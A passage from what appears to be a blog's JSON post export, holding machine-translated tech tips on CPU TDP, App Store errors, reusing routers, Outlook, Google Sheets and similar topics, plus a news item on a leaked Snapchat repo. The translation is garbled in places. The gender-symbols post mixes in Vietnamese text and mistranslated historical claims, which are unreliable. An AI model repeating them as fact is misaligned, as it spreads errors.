processor, a CPU model with a higher TDP will often provide powerful performance, but consume more power from the PSU. However, again, TDP is not a direct measure of how much energy a component will consume, but this is an important indicator that helps us identify relevant information.\nDecode the specifications on the laptop Note that in the process of upgrading computer hardware components such as CPU or GPU, before upgrading to a more powerful CPU or GPU with higher TDP, you must make sure that the current cooling system is sufficient to meet your requirements. bridge to avoid unfortunate incidents during use.\nHope the information in the post useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMOpZKKmXZi9tnnAp5tmr5iuerq71Galnp2UYsGwecKaqZ5lkZe8tsCMoqs%3D\n","link":"/post/learn-about-tdp-in-cpu-and-why-you-need-to-care-about-it/","section":"post","tags":null,"title":"Learn about TDP in CPU and why you need to care about it"},{"body":"A repository (repository - repo) called Source-Snapchat has been uploaded to GitHub by a user named i5xx in Tando Bago village, Sindh province in southeastern Pakistan. Currently, we cannot view the content of this repo because GitHub deleted it according to DMCA copyright protection requirement from Snap Inc .\nThis repo can be part or all of the Snapchat app source code for iOS, can also be a small part of the service or a Snap's own project because it is described in Apple's Objective-C language. and \"Source code for Snapchat\". Unfortunately there is currently no way to confirm this.\n  The i5xx account, who downloaded Snapchat's source code to GitHub, said his name is Khaled Alshehri (Alshehri family is not popular in Pakistan). But it cannot be confirmed that this is his real name.\nAccording to the profile on GitHub, the i5xx account is linked to an online business in Saudi Arabia, offering a range of technology services including software development, security scanning, iCloud deletion and selling iTunes discount cards.\nAn article on the Twitter account that is supposed to belong to i5xx shows that he tried to contact Snap but failed, so he decided to upload it to GitHub. Therefore, this is not an attack on Snapchat, it is possible that this i5xx guy accidentally saw Snapchat's source code somewhere. The account also threatens to re-upload the source code if Snap does not respond.\nIn fact, Snap has award-winning bug hunting programs in cooperation with HackerOne so any security researcher can easily contact the company. HackerOne often responds to initial reports within 12 hours. According to official statistics, HackerOne paid over $ 220,000 in bonuses to hackers. Depending on the severity of the detected error, Snap will have different prizes for researchers. And leaking the source code of the application is quite a serious security issue.\nThe new DMCA request of Snap was publicized by GitHub 4 days ago.\nAccording to i5xx's interactive history, in the period from 23 to 24/5, 18 GitHub users had access to this repo. Currently Snap Inc. There has been no feedback on this incident yet.\nSee more:\nSnapchat adds a maximum group video calling feature of up to 16 people, very interesting Computer virus causes iPhone 2018 chip manufacturer to stop working The whole city had to return to the 'stone' era using typewriters because the entire computer system was hacked ncG1vNJzZmismaXArq3KnmWcp51kwK%2Btz5yfmqxdqLy2vsKeZJynlJp6qr%2BMq5yvnZGhsqV5zqdkoKGkncKj\n","link":"/post/snapchat-source-code-is-revealed-on-github/","section":"post","tags":null,"title":"Snapchat source code is revealed on GitHub"},{"body":"iPhone is currently one of the most popular smartphones today. Just like Androi has CHplay, Apple also has App Strore that allows users to download hot applications such as Facebook, Zalo . However, during use, sometimes App Store may occur some errors. If you can't connect to Apple Store, the app stops suddenly when installed . causing you to be unable to access the app store. In the following article, we will show some common errors and how to fix these errors. Please follow us.\n1. Cannot connect to the App Store This is one of the most common errors on the App Store. The main cause of this error is the deviation in the device with the actual date. This error is not really serious. To fix this, you only need to check the date on your device and change it again.\nTo synchronize the time on your iPhone, do the following:\nStep 1:\n   \nOn the main screen interface of iPhone, go to Settings , select General settings (General) .\nStep 2:\n   \nIn the General interface, click on Date \u0026amp; Time to reset the date in the device, turn off Automatically Automatically Set mode by swiping the blue bar to the left, then touch the Time Zone to reset the date and time.\nNow try to exit to the App Store again to see if the error has been fixed? If it still does not work, please go back to the same Settings section, but now let it be Automatically set the machine to identify the time.\n2. The application cannot be installed on the App Store Can't connect to the App Store on iOS 11? Here's how to fix it The next error on the App Stror is that the application cannot be installed. Every time you install an application on your device, the circle icon will rotate continuously and indicate ' Waiting '. To be different from this App Store error, do the following:\nMethod 1:\n  \nConnect your device to your computer via iTunes . In iTunes on your computer, you download applications and then sync (Sync) to install these applications on iPhone, iPad.\nMethod 2:\n  \nOn the main screen of the iPhone screen, keep the application icon stuck, when the multiplication mark appears, select to completely remove the application. Then go back to the App Store and reinstall the app. Note, this way of doing it will lose the application's current data.\nMethod 3:\n  \nTo stop downloading the application, tap once on the stuck icon. After that, go back to the screen in the Update section of the App Store to reload the application earlier. In fact, this way has an extremely high success rate.\nMethod 4:\n  \nYou can also log out of your iTunes account and restart the device, then log in to your iTunes account and reinstall the app. To log out of your iTunes account on Settings, select iTunes \u0026amp; App Store\u0026gt; Apple ID\u0026gt; Sign Out .\n3. App Strore newspaper cannot log into account During the installation of any application, it is likely that the App Store will appear an error that cannot log in to the account. The cause of this error is because your account has not been fully updated, or the time on your iPhone does not match the real time. To fix this error, do the following:\nStep 1:\n  \nVisit Settings\u0026gt; iTunes \u0026amp; App Store . Select Login then enter your iCloud account ID and password.\nStep 2:\nIf your account is accepted, a message will appear, and you will be able to add the information again and select Review to continue.\nStep 3:\n  \nChoose the format you want to download games and apps. In this section, you should note that there are some applications that apply only to each country, for example in the US market that selects in Vietnam, the application will not be found and vice versa.\nStep 4:\nAgree with the terms offered by the iTunes Store.\nStep 5:\nFinally you just need to re-enter the information that iTunes Store requires:\nPayment information : select 'No', or choose Visa, MasterCard, Amex if you have the above cards and want to buy free apps and games. ITunes gift card and gift card : If you have an Apple gift code you can fill it here, you can't ignore it. Billing address : Here you fill in the gender information, last name, first name, street address, county, city, postal code, area code, telephone number.    Note: The mail code in each region will be different, the zip code of the registered area (the postal code of Hanoi according to the latest regulations is 100000, Ho Chi Minh is 700000, Da Nang is 590000 .). Finally fill in the information you clicked Next to complete setting up the iTunes Store account.\n4. Error losing App Store icon on iOS operating system If your device has been jailbroken, you can install the SBSettings tool in Cydia to display the App Store icon. If your device has not been jailbroken, try the following:\n  Go to Settings , in General select Restriction and enter the security code . In the Restriction section you can reset the limits and limitations of the application. It may be because you accidentally hidden the App Store with this feature. If you don't remember the security code of Restriction, you can Reset all / Reset all settings .\n   5. Error when registering iCloud This error appears because your iPhone has too logged in the number of registered iCloud accounts, because each Apple device offers will limit the number of times to register, so if your smartphone is an old machine or let others borrow To register an account, it will definitely be limited when registering.\nTo fix this error and can continue to register another iCloud account, you can do the following: First go to Settings\u0026gt; General\u0026gt; Reset\u0026gt; Erase All Content and Settings to delete all content and reinstall the account. Other for iCloud. If applying this method still does not fix the error, try signing up for iCloud on another device.\n6. Apple ID account is disabled How to create a free Apple ID account on your computer   Most of the Apple accounts are disabled because of incorrect password entries too many times, so to protect users, Apple will automatically lock the account to avoid unauthorized login. To fix this error, you need to go to Apple's home page at: https://appleid.apple.com/, then click Reset your password to reset the App Store account password.\n  7. Failed to login to Apple ID The reason for not being able to log in to Apple ID is because in the process of registering an account, when it is completed, receiving a successful notification, it is immediately rushed to download the application and the software and forget the last step, that is the body. Intelligent account. So, when logging in even though you have entered the correct password, you still cannot access it.\n  The solution is very simple, just go to the mail, find Apple's message to activate, or in the login frame, select Forget Password - Forget the password for Apple to re-send the activation email to you. After activating the link in the mail, it is possible to download the application normally.\n8. Error free account This error is similar to the error when registering iCloud, the reason is because you have 3 times more free account registration, so you can not continue to register for any more free accounts.\n  The only way to fix it is to borrow another iPhone to register, and it is important that this device still has free registration.\n9. Request the password of another account When you access the App Store to download the app, the App Store will ask you to enter the password of the Apple Store account that is attached to the device. Sometimes you will encounter an App Store asking to enter an account without your knowledge, then you need to check in Settings\u0026gt; iTunes \u0026amp; AppStore to see if the correct account is your account. If it is not your account, you only need to log out and re-enter your account. If it is true that your account cancels the download and exit all applications that are enabled on the machine then reload.\nSee more:\nHow many tricks have you missed using this iPhone? Error cannot connect to iTunes Store, this is a fix The most downloaded apps on Apple Store in 2017 How to fix application errors that cannot be opened on iOS 11 ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qku8ympqdllae%2FsL7SZqCnZZGlvW6%2F06umq51dlruleceormasn2KzqsSMoqs%3D\n","link":"/post/summary-of-common-errors-in-app-strore-and-how-to-fix-it/","section":"post","tags":null,"title":"Summary of common errors in App Strore and how to fix it"},{"body":"Representing the two planets, two iron-copper metals and the gods atop Olympus, the classic symbols of Male and Female gender carry a lot of meaning deep inside the scribbles.\nThe symbols themselves are ancient and the associations help back to the dawn of civilization. The ancients, after observing the motions of the planets in the solar system, had predictions about future events and believed that those events were connected by relationships. Cause and Effect. Later, ancient scholars began to conduct more logical research to accurately predict and prepare for the future. They also link the planets with the power of protection gods like Mercury, Venus, Mars, Zeus (Jupiter) and god Cronus (Saturn).\n  Each celestial body in heaven, along with the guardian god associated with special metal elements. For example, the sun god Helios is attached to a metal especially gold ( Note: according to the spectrum in human vision, the Sun is actually white, not gold ); Mars god ( Thourus Greek ) is combined with iron used to make weapons; or god Venus ( Greek Phosphorus ) attached to softer metal, copper can turn green.\nWhen writing about these metals, the Greeks introduced them by the names of the gods - characters associated with the letters, after some time, a type of shorthand was formed; eg Mars (Thourus) and Venus (Phosphorus):\n  In the Middle Ages, European alchemists relied on abbreviated notations to be elucidated and used as celebrities Carolus Linnaeus (\" father\" of Modern Classification and creator). The popular Binary language ), indicates the corresponding metals contained in his Systema Naturae study in 1735.\nLinnaeus was also the first person to use these characters in the biological context of the Plantae Hybridae thesis in 1751, when he used the symbol Venus to represent the Female and the Mars symbol representing Men . Later, Linnaeus continued to use the symbols for purposes to distinguish Male and Female sexes and by \" Species Plantarum \" in 1753, he used free symbols.\nFollowing Linnaeus, other botanists began using symbols, as well as scientists from other fields including zoology, biology, humanity and finally geneticists.\nCurrently, modern genetics no longer uses familiar symbols anymore and instead, gender is expressed based on a square for men and circles for women:\n  These symbols were developed by Pliny Earle - a neurologist in New York in 1845 while explaining the inheritance of color blindness:\nFor sự xác thực của các việc xác định các tổng hợp này, khi có sự kiện này có thể, I đã thể tạo một phụ đề của genealogical chart. Males are represented by squares and females by circles.\nFor the purpose of clearly illustrating this physiological rate specificity in families, I have prepared additional genealogy charts. Men are represented by squares and women are circles.\nWhile it is unclear why Earle did not choose classical symbols, the Royal Society member later gave an explanation - Mr. Edward Nettleship declared that Earle had \" been unable to use signs.\" This classic self on the printer . except for those who work in music printing \".\nncG1vNJzZmismaXArq3KnmWcp51kxKmx0Z5knaGUYsGpsYyoqaKfmaPAbrvFZquhnV2irq2xjJqlnWWWmrqiuMRmqrKlkqS5tHnCqKSeZZanvK4%3D\n","link":"/post/where-did-the-origins-of-the-male-and-female-symbols-come-from/","section":"post","tags":null,"title":"Where did the origins of the male and female symbols come from?"},{"body":"If your ISP has provided you with a new router, or you simply prefer to upgrade your existing router, you will encounter a problem. What should you do with the old router? In the case of switching Internet service providers, you will be asked to return the old device. But if you have a backup router in your home, here are some ways you can reuse it.\nWhat can old wifi routers be used for? 1. Build a wireless repeater 2. Connect to Wi-Fi for guests 3. Create a cheap Internet radio transmitter 4. Use the router as a cheap network switch 5. Turn your router into a wireless bridge 6. Build a Smart Home Hub 7. Convert the router into an NAS drive 1. Build a wireless repeater   What if the Wi-Fi network is not wide enough across the entire home range? Although you can choose Ethernet adapters, adding a second router is probably a better option.\nThis means connecting the old router to the new wireless network using a Wi-Fi signal. Then it can share access to Wi-Fi networks and provide greater coverage. Although there may be some latency issues, this is generally a quick and easy way to expand the wireless network coverage indoors.\nThere are many different uses, from allowing better Wi-Fi access to a 'dead spot' in the house, to allowing you to stream videos to your tablet while still in the garden.\nRefer to the article: 5 ways to expand the Wi-Fi network range for more details.\nHow to turn the old router into a repeater 2. Connect to Wi-Fi for guests   If you often have visitors and use Wifi, why not give them a private Wifi network?\nThis is similar to the wireless repeater above, but it's still a bit different. The router connects to the current network, is password protected, but allows new devices to access without a password, thanks to the old router's guest network feature, and by default will prevent visitors from accessing the device. other devices on the home network.\nIf this security level is insufficient, check the firewall settings on the main router to adjust this section.\n3. Create a cheap Internet radio transmitter Want to enjoy your favorite radio stations on the Internet? Some routers can be configured to play Internet radio, if you are about to install the OpenWrt or DD-WRT custom router firmware.\nSome other software is also required and you will need a USB sound card for audio playback.\nAlthough creating this set is not easy and many other Internet radio options are available, this is still a great project. It gives you insight into the power of custom firmware, as well as understanding how music is broadcast on the Internet.\n4. Use the router as a cheap network switch   Most routers have less than 6 Ethernet ports. With the rapid rise of wireless technologies in the home, this number can even drop to 4. But with the clear need for devices connected via Ethernet, you may not have enough ports to use.\nFor example, devices that monitor smart home appliances, TV decoders with smart TV functions, game consoles and many other devices cannot use the wireless network. They need to be physically connected to the network and that means they need an Ethernet port.\nIf you have used up all Ethernet ports, you can add it using a network switch. Basically, this is the version of Ethernet that contains additional ports on a main power bar, then the main source is plugged into a port on the router.\nOlder routers usually have 4 or more ports, so this connection will immediately increase the number of available ports. Remember to power on the old router. You should also disable the wireless network on the old router to avoid conflicts.\n5. Turn your router into a wireless bridge   What if your new router only allows wireless connections? Perhaps ISP does not provide a router with Ethernet ports or you may use 4G Internet service provider. Either way, if you need to connect Ethernet devices to your home network, a wireless bridge can be a 'lifesaver' in this case.\nAn old router can be reused as a wireless bridge. And this will save you some money.\nThis works like a wireless repeater, but instead of sharing a Wi-Fi connection, the wireless bridge provides Ethernet. The old router is connected to an existing Wi-Fi network and its Ethernet ports are used to connect devices.\n6. Build a Smart Home Hub Some routers ship with some useful additional ports. In some cases, this may be a USB port, making it easier to flash the OpenWRT or DD-WRT router firmware.\nOther devices may come with a serial port and these routers can be reused as a home automation server.\nBasically, the router runs a web server that users connect to their browser. This can be done on a PC or for more convenience, via smartphones.\nAlthough easier options are available, you can use this option to better understand home automation.\n7. Convert the router into an NAS drive   Are you looking for a way to store data on a single storage device and access it from anywhere in the house? In that case, you will need Network Attached Storage (NAS), which is basically the hard drive attached to your network.\nSaving money for buying a new device using an old router somewhere in the house is also a must. Although NAS devices are not expensive. But note that this only applies to older routers that can run custom firmware (like DD-WRT) and redundant USB ports. Then, the old, used router will allow you to browse the content of any connected USB storage device.\nWithout a USB port, there is no way to mount a hard drive or USB flash storage device.\nOnce set up, the NAS has been customized on demand, providing users instant access to important data from anywhere in the house, through the use of any device.\nDon't let the old router stay in the drawer anymore! Today's article has identified seven ways you can reuse your old router:\nGuest Wi-Fi connection Make wireless repeater Cheap Internet radio Use the router as a network switch Reuse the router as a wireless bridge Build a smart home hub Convert router into a NAS These are great ways to reuse a router. Even if it's too old and doesn't have some of the important features of modern wireless devices, you can still use it as a switch or even a guest network.\nHowever, if none of the above options are useful in your case, it is probably time to consider selling or recycling the device.\nGood luck!\nSee more:\n19 great ideas to take advantage of old smartphones Make your laptop's heat sinks super simple 5 ways to fully utilize old computers ncG1vNJzZmismaXArq3KnmWcp51khG7DwLKqZqyfYsGit8RmmJ2ukaPBorPEZqafZZ%2BhsW7DyKucpZ2jqHqzu9StnKur\n","link":"/post/7-ways-to-take-advantage-of-old-wireless-routers/","section":"post","tags":null,"title":"7 ways to take advantage of old wireless routers"},{"body":"In life, there are busy days, hustle makes us feel tired and stuck? How do you feel happier? Take TipsMake.com to observe the images below to make sure you bring a light laugh, your troubles will soon disappear when you see these happy pets. From the cute frogs, the beloved burrito comes to \"friendly\" girls , adorable ratatouille mice, cheerful pictures of animals that can make your gloomy day become bright:\n  Do not leave the house, the dog was visited by her \"cat\" every day with a kiss and left.\n  This cow is so carefree that he sleeps on the feet of a stranger! And this stranger does not want to withdraw his legs because he is afraid that this cow will wake up.\n  \" You don't understand what happens but still try to help people.\"\n  This cat likes to collect stones.\n  This dog was unfortunately blind, the owner always praised him . handsome 20 times a day.\n  No need to bring much, travel only need the most necessary things.\n  This hamster plays with all other animals.\n  Installing spacecraft to fly to the otter planet .\n  \" I \" this frog laughed and laughed after being praised pretty.\n  Love each other right from the first meeting!\n  Looking at it, you know which character is the most photogenic, right?\n  While the other dogs were engrossed in playing in the park, the dog went out to read with his employer.\n  A polite and educated cat, going to bed is to cover the enclosed area.\n  How to .\n  Every time I feel sad, my little dog comes out and brings something to give me. This time is a pine cone.\n  Buying a new car, unexpectedly has a \" dog storage \".\n  Does anyone see my son?\n  Get together and hug each other to sleep!\n  When mom bought you a new set of clothes and always praised you handsome when wearing them!\n  The pet brought me a tissue when I heard me cry sobbing for a romantic scene.\n  \" Hello terrestrial dog, you are a dog under the water \".\n  \"Good dog company hello guests .\"\n  \" Look. He can do it. \"\n  These two special soda bottles.\n  \" The dog met the fish on a beautiful day. \"\n  Two cats watch love movies together. So romantic!\n  \" Hien softens when you're with me .\"\n  When the boss asked to be a good guy!\nRefer to some more articles:\nTop 32 architectural masterpieces in the world should visit once in a lifetime 20 pictures illustrating the crazy world we live in Beams of photos about the natural habitat of foods around us Having fun!\nncG1vNJzZmismaXArq3KnmWcp51krm6%2FxKugnqtdpLNustSnpbJlkaOxbrLUp6WyZaCdvLW70maYm6elqXqtu9Weo7JloJrBtA%3D%3D\n","link":"/post/a-series-of-funny-and-funny-photos-about-lovely-pets/","section":"post","tags":null,"title":"A series of funny and funny photos about lovely pets"},{"body":" 25 images shocked when recreating the current social situation 5 \"extremely toxic\" tips help improve photography skills in just 1 minute See 17 pictures of simple happiness to help you love life more National Geographic is an attractive playground for the most veteran photographers in the world and prestigious annual competitions that focus on the most talented photographers from everywhere. National Geographic Traveler Photo Contest 2017 is no exception and as you can see from the selection of the image below, the judges' task this year is not easy to find a winner from the categories. great. The deadline for taking photos for the contest will end on Friday, June 30.\nNational Geographic Travel Photographer of the Year 2017 - National Geographic Travel Photographer of the Year 2017 - honoring the best photos in the field of travel photography, is close to the announcement of the winner.\nThere are 3 subject categories for photographers to choose from: Nature, City, and People . The grand prize winner will receive a 10-day trip for two people in the Galápagos Islands - a world heritage site, south of the Pacific Ocean, 1,000 km from central Ecuador. to the west and was dubbed the \" most beautiful islands on the planet \".\nCheck out the 15 impressive works of National Geographic Travel Photographer of the Year 2017 competition , bringing in many incredible and diverse styles that urban residents live!\nParis, France\n Source: Ata Adnan / National Geographic Travel Photographer of the Year Contest\nBengaluru, India\n Photo source: Nikhil Rasiwasia / National Geographic Travel Photographer of the Year Contest\nNagasaki, Kyushu, Japan\n Photo source: Hiro Kurashina / National Geographic Travel Photographer of the Year Contest\nUummannaq, Greenland\n Photo source: Rayann Elzein / National Geographic Travel Photographer of the Year Contest\nBusan, South Korea\n Photo source: Albert Dros / National Geographic Travel Photographer of the Year Contest\nGifu Prefecture, Honshu, Japan\n Photo source: Tetsuya Hashimoto / National Geographic Travel Photographer of the Year Contest\nAl Ain, United Arab Emirates\n Photo source: Andrzej Bochenski / National Geographic Travel Photographer of the Year Contest\nHong Kong\n Source: Ho Lam Cheng / National Geographic Travel Photographer of the Year Contest\nJujing, China\n Source: Hua Zhu / National Geographic Travel Photographer of the Year Contest\nKowloon Walled City, China\n Photo source: Andy Yeung / National Geographic Travel Photographer of the Year Contest\nDubuque, Iowa\n Photo source: Robert Felderman / National Geographic Travel Photographer of the Year Contest\nNew York City, USA\n Photo source: Lars Sivars / National Geographic Travel Photographer of the Year Contest\nFrankfurt, Germany\n Photo source: Vitaly Pankratov / National Geographic Travel Photographer of the Year Contest\nNew York City, USA\n Photo source: Ed Nazarko / National Geographic Travel Photographer of the Year Contest\nHong Kong\n Photo source: Edward Tin / National Geographic Travel Photographer of the Year Contest\nSee more: 15 photos of the world today make viewers startled to ponder\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51krrXAxKebnp2jYryneZBuZKKloKeytL%2FIr5xmr5%2BnuLR5z5qpraGTnr2iwMSdZKKmXam1pnnNmquip56WuW6zxKieq5mgnbakedOrmK%2BdnJq%2FbrzHqKuoZZOku7Wx0q1ka2hhbA%3D%3D\n","link":"/post/attendees-of-15-impressive-works-participated-in-the-national-geographic-traveler-photo-contest-2017/","section":"post","tags":null,"title":"Attendees of 15 impressive works participated in the National Geographic Traveler Photo Contest 2017"},{"body":"Due to the large screen size, laptops and computers are 02 lines of devices, whether accidentally or intentionally, it is often very easy to peek at the content being displayed if someone browses. This problem is even more noticeable if you use the laptop in public. And if you regularly message Facebook via Google Chrome on your computer, being peeked is extremely annoying.\n Thankfully, you can solve this problem through Protect Message , an extension for Google Chrome that protects your private Facebook messages from prying eyes around. As follows.\n Visit this address https://chrome.google.com/webstore/detail/protect-message/fgnnjldhcpkgffephopliioangockjgk and install Protect Message for Google Chrome.\n Once installed, Protect Message will run permanently on Google Chrome and displayed with a white circle icon in the toolbar.\n When Protect Message is active, the list will include the contact name and content by default. And they only return to normal when you hover over them.\n If you do not like this option, you can use Blur to blur the conversation.\n In addition, you can also customize the display or obscure the content through the protection options provided in the \"Component options\" menu.\nOverall, Protect Message works very well and can say this is an extremely useful utility, it will be useful for those who regularly use Facebook Messenger to work and exchange, want to keep content confidential. conversation.\nHope this article will be helpful for you.\nncG1vNJzZmismaXArq3KnmWcp51krre7yJ1kqKyYmr%2B0ecWrpqZlo6OyorfIp55mp55ixrDB0WadmpuVl7ywt4ymnKyrkZyytHnOp2Sgp5%2BcuaZ5wqGpqKWV\n","link":"/post/avoid-others-from-sneaking-on-your-facebook-messages-on-google-chrome/","section":"post","tags":null,"title":"Avoid others from sneaking on your Facebook messages on Google Chrome"},{"body":"DOTA 2 is a real-time tactical action game (ARTS) developed by Valve Corporation, based on a famous game mod from Warcraft III: Reign of Chaos and The Frozen Throne expansion.\nEach game in DOTA 2 is a match consisting of two teams, each team has 5 players and occupies a stronghold in opposite corners of the map. Located between the fortress, each side has a building called \"Ancient\".\nTo win, each team will have to destroy the relics of the opposing team. Players can only control a single character that possesses certain combat abilities, coordinating with teammates to gain an advantage on the map to reach victory.\nAlthough the launch was long, but DOTA 2 configuration is still a problem that many people care about when preparing to play. Unlike gta v configuration, you just need to choose a configuration that is slightly better than the League of Legends configuration to play DOTA 2 already, here is the DOTA 2 smooth play configuration on PC.\nConfiguration of playing Fifa Online 4 on the computer Configure to play Minecraft on the computer Configure Mobile Alliance and how to choose the player Configure minimum DOTA 2 on the computer   Operating system: Windows 7, Windows 8, Windows 8.1, Windows 10 64bit or more CPU: Intel or AMD Dual core chip 2.8 GHz RAM requirements: 4GB Graphics card: nVidia GeForce 8600 / 9600GT or ATI / AMD Radeon HD2600 / 3600 Required hard drive space: 8GB DirectX: Version 9.0c Configure DOTA 2 request on computer   Operating system: Windows 7, Windows 8, Windows 8.1, Windows 10 64bit or more CPU: Intel Core 2 Duo E7400 2.80GHz or AMD Athlon 64 X2 Dual Core 5600+ RAM requirements: 4GB Graphics card: AMD Radeon HD 2600 Pro or NVIDIA GeForce 8600 GTS 512MB Required hard drive space: 8GB DirectX: Version 9.0c Above is the DOTA 2 player configuration on the computer. With a configuration of a game that has been released for a long time, building a configuration to play DOTA 2 is not too difficult.\nIf your device is old, please accept Low Settings to play smoothly even though the image and effects are not very nice.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYrGwwMBmaWannmLBqbGMnKamqKWpsrM%3D\n","link":"/post/configure-dota-2-on-the-computer/","section":"post","tags":null,"title":"Configure DOTA 2 on the computer"},{"body":"Steganos Online - Steganos Online Shield 365 is a simple but effective VPN / proxy software with servers located in many countries. With this software, you can secure your network connection at home, the office or even at a public wifi hotspot whether you access a wireless or wired network. All data entered such as passwords, addresses, credit card numbers will only be transmitted when encrypted. This data will go through Steganos' servers very quickly and securely. Therefore users can surf the web safely on pages they are not familiar with.\n  Main function: Protect users when surfing the web, shopping online and securing personal data by continuous encryption when data leaves the computer. Real IP address protection for users to surf safely and personal identity will not be revealed. Protect yourself from being eavesdropped in public places, such as when accessing the internet in hotels, cafes, airports or in the office. Regardless of whether you're online using wired or wireless. Data traffic is not limited to backup, it does not affect the connection speed. Overcoming censorship projects and blocking calls on non-toxic sites in your country. Secure and fast servers are located in Germany, England, France, the US and Switzerland. Special offer: Steganos Online Shield 365 free 1 year Serial number for users (5 GB capacity per month).\nSteganos Online Shield free version offers 500 MB of data per month, quite generous when only surfing the web. For unlimited capacity and no connection speed, users will have to pay a $ 79.95 1 year fee for a serial number / license key. Thanks to this special promotion, allow users to receive Steganos Online Shield's Serial Number / License Key without any cost.\nInstructions on how to get a free copy: Go to this page, enter your email address and click the OK button.\n  In a few minutes, you will receive an email address with a free serial number for Steganos Online Shield 365 (Seriennummer = Serial Number). Copy that license to unlock the full version of Steganos Online Shield 365.\nNote that when using Gmail, turn off the auto translation feature before copying and pasting the serial number. If not, the serial number will be translated and enter the incorrect number.\n  Download Steganos Online Shield 365.\nTo register and activate the product, first install Steganos Online Shield 365. Then, click Menu and select ' Enter serial number ' in Steganos Online Shield 365. Enter the serial number received in the previous step and click the button Redeem . After that, Steganos Online Shield 365 will be registered and activated.\n  ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGZoZrGVlr9uv9Oenpqmn6h6sLrLoqWeZaOdtqa4w2Zqb21dobaksc2snA%3D%3D\n","link":"/post/free-1-year-steganos-online-shield-365-license/","section":"post","tags":null,"title":"Free 1 year Steganos Online Shield 365 license"},{"body":"A signature in Outlook is the signature behind your Outlook email that identifies your identity, job title, and how to contact you. In the long run of using Outlook, you may need to change your signature to better fit the intended use. Let's read the following article of TipsMake.com to know how to change the signature in Outlook offline!\n  Please open the Outlook software on your computer.\nFirst, to enter the signature setting in Outlook , you must click the File ribbon on the toolbar.\n  When the Outlook interface changes to File , click on Options in the list of options of File .\n  The Outlook Options function window will appear in the Outlook interface. You have to switch to the Mail section of this window.\nYou will see the Create or modify signatures for messages line in this section.\nClick the Signatures button next to the text.\n  The Signatures and Stationery window opens with editing settings for Outlook signatures.\nIn the Select signature to edit list , you will see a list of signatures that you have added in your Outlook account.\nPlease select a signature you want to edit.\nYou will see the content of the signature displayed in the Edit signature .\n  Now you can edit your signature like editing a short text. For example, you can change the characters, or their format. Or even add photos and links to your signature.\nClick OK after you have finished editing to save the changes.\n  Next, you must also click OK in the Outlook  Options function window box to confirm the settings.\n  Currently, you have to click create a new letter to view in New Email in the Home ribbon .\n  Now you will see that your signature at the end of the letter has been changed as you just edited it.\n  Thank you for reading the article about how to change the signature in Outlook of TipsMake.com us. I wish you successful implementation of this trick !!!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyaZKyhl6OutcHRnmSipl2kwrW4zqii\n","link":"/post/how-to-change-a-signature-in-outlook/","section":"post","tags":null,"title":"How to change a signature in Outlook"},{"body":"Use single-line comments for short comments. If you need to leave a short comment, you can use the single-line comment code. The comment will only last to the end of the line or the end of the code block. These comments only work within PHP tags, and will be read if placed in HTML.[1]ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuforqmutNmoKdloJ29\n","link":"/post/how-to-comment-in-php/","section":"post","tags":null,"title":"How to Comment in PHP"},{"body":"Google Sheets is now an online version of Excel that many people choose to use, because of its convenience when you just need to log in to your Google account to use it. However, while working on Google Sheets, there will be times when you need to share Excel data to work. Manually copying data from Excel to Google Sheets will change the table format. So how to transfer data from Excel to Google Sheets without changing the data sheet format?\nWe have 2 ways to upload Excel file to Google Sheets, which is to upload to Google Drive or import Excel file into existing Google Sheets file.\nMethod 1: Download Excel file to Google Drive Step 1:\nFirst of all we open up Google Drive account. At the interface click on the My Drive item and select Upload files . to upload Excel file.\n  Step 2:\nWe wait for the file upload process to succeed Google Drive.\n  Then, open this Excel file on Google Drive and then click the Open with button and then select Google Sheets to open this Excel file in Google Sheets.\n  Step 3:\nIn this interface we can black out the data table, then right-click and select Copy to copy the data. Or here you can also make more options.\n  Method 2: Import Excel file into Google Sheets Step 1:\nOn the Google Sheets toolbar, click File and select Import to import the Excel file.\n  Step 2:\nIn the interface to upload data to Google Sheets, users click on the Upload tab and then download the Excel file available on the computer.\n  Step 3:\nThen, in the Import file interface, select Create new spreahsheet to open a new spreadsheet and click Import .\n  Step 4:\nWait for the process of importing Excel files into Google Sheets successfully, then click Open now to open.\n  When opening Excel data on Google Sheets, you will see that all data formats remain the same.\n  With the above two ways, you have more tricks to open the data, copy Excel data to Google Sheets, but keep the content format. Word formatting, colors, spreadsheets, . will not change but remain the same as when working on Excel. Depending on the convenience when using, we choose to download Excel file to Google Drive to open in Google Sheets, or immediately open Excel file in Google Sheets interface.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnLGblaF6p7XLnmStp12cvLCzy55krKCVmsG0\n","link":"/post/how-to-convert-excel-file-to-google-sheets/","section":"post","tags":null,"title":"How to convert Excel file to Google Sheets"},{"body":" Colors are identified in HTML and CSS by their hexadecimal codes. If you're creating a webpage or other HTML project and want to include an element that matches a particular color in an image, website, or program window on your computer...\nMethod 1of 4:\nUsing GIMP or Similar Image Software (for Colors on Images or Screenshots)  Download GIMP or another advanced image editor. GIMP is a free image manipulation software, but Photoshop and other advanced image editing programs will work, too, with very similar methods.\n  Find an image with the color you're trying to match. If the color you're matching is already in a picture saved on your computer, you can use that image. If you're trying to match a color on a webpage or computer program, you can take a screenshot that contains the color you're trying to match.\n  Open the image with the color in question in GIMP.\n  Select the color picker tool. It looks like an eyedropper.\n  Click on the color you want to match in the image.\n  Click on the foreground color box, now that it reflects your chosen color. Locate the hex code - referred to as \"HTML notation\" - in the \"Change Foreground Color\" window that pops up. You can also select \"Use info window\" from the left-hand side color picker menu. Then, when you click your chosen color with the picker, the color info window will pop up, and the hex code will be listed there.   Use the hex code. You can note it down, or right-click on the code and copy it to your clipboard. Then you can use that code in the font color, background color, or other elements in the HTML or CSS project you're creating.\n Method 2of 4:\nUsing Firefox (for Colors on an Existing Website)  Open up a Firefox browser. If you're trying to copy a color from an existing website and have Firefox installed, this is your quickest option.\n  Navigate to the page where the color you want to copy is. Make sure the element you need the color for is in view.\n  Hover over \"Tools\" in the menu and select \"Web Developer\". From there, click \"Eyedropper\".\n  Click on the color you're looking for. When you do so, Firefox will save the hex code to your clipboard.\n  Paste the code where you need it. You can use that code in the font color, background color, or other elements in the HTML or CSS project you're creating.\n Method 3of 4:\nUsing Imagecolorpicker.com  